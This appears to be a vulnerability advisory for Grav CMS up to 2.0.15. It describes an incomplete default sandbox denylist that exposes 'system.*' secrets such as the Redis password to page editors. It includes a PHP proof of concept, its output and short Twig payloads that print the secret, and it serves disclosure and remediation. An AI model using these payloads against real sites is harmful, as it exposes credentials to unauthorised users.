---
id: CVE-2026-76846
aliases:
  - GHSA-xjw5-q542-3vmr
title: >-
  Grav: config_denied_paths default list omits `system`, exposing real secrets
  (e.g. system.cache.redis.password) via the Twig sandbox when config_access is
  enabled
summary: >-
  Grav: config_denied_paths default list omits `system`, exposing real secrets
  (e.g. system.cache.redis.password) via the Twig sandbox when config_access is
  enabled
severity: high
cvss: 7.5
cwe:
  - CWE-522
vendor: getgrav
product: getgrav/grav
ecosystem: composer
affected:
  - getgrav/grav <= 2.0.15
patched:
  - getgrav/grav 2.0.16
published: '2026-09-17'
updated: '2026-09-17'
sourceUpdated: '2026-09-17T20:27:07Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-xjw5-q542-3vmr'
references:
  - url: 'https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-76846'
  - url: >-
      https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox
  - url: 'https://github.com/advisories/GHSA-xjw5-q542-3vmr'
tags:
  - ghsa
  - composer
epss: 0.00409
epssPercentile: 0.32347
ingestedAt: '2026-09-17T20:28:02.777Z'
---

## Overview

## Summary

`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list
(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.
When an operator enables the documented, non-default `twig_content.config_access: true`
setting (intended to safely expose low-sensitivity values like `site.title` to
editor-authored Twig content), any real secret stored under `system.*` , for example
`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via
`config.toArray()`, to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,
but the shipped default denylist is incomplete.

## Environment used to verify

- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`
- PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full `composer install --no-dev` run against the real repository (no mocked
  dependencies) so the actual `Grav\Common\Config\Config` and
  `Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly

## Commands run to set up the verification environment

```bash
git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```

## Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

```bash
grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text
```

`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of
`Config` or `SandboxConfig` themselves:

```php
<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());
```

Run:

```bash
php sandbox_test.php
```

Output:

```
plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                        )

                )

        )

    [site] => Array
        (
            [title] => My Site
        )

)
```

`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in
full both via targeted `get()` and via bulk `toArray()`.

## Confirming the Twig-reachable path is real

`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s
methods for use inside sandboxed page-content templates:

```yaml
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
  methods: 'get, toarray, value, offsetget, offsetexists'
```

So, with `twig_content.process_enabled: true` and `twig_content.config_access: true`
both set (both documented, operator-controlled settings), a page containing:

```twig
{{ config.get('system.cache.redis.password') }}
```

or

```twig
{{ config.toArray() }}
```

renders the real Redis password directly into the page output for any user with
page-edit permission.

## Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented `config_access` opt-in (intended only to expose things like `site.title`),
exposes that Redis password , and potentially other future `system.*` secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.

## Suggested fix

Add `system` to the default `config_denied_paths` list in
`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under `system.*` doesn't silently bypass the sandbox by default.

## Affected component

- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value
- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its
  input; the gap is in the default list passed to it)
```

## Affected packages

- `getgrav/grav <= 2.0.15`

## Remediation

Upgrade to a patched release:

- `getgrav/grav 2.0.16`
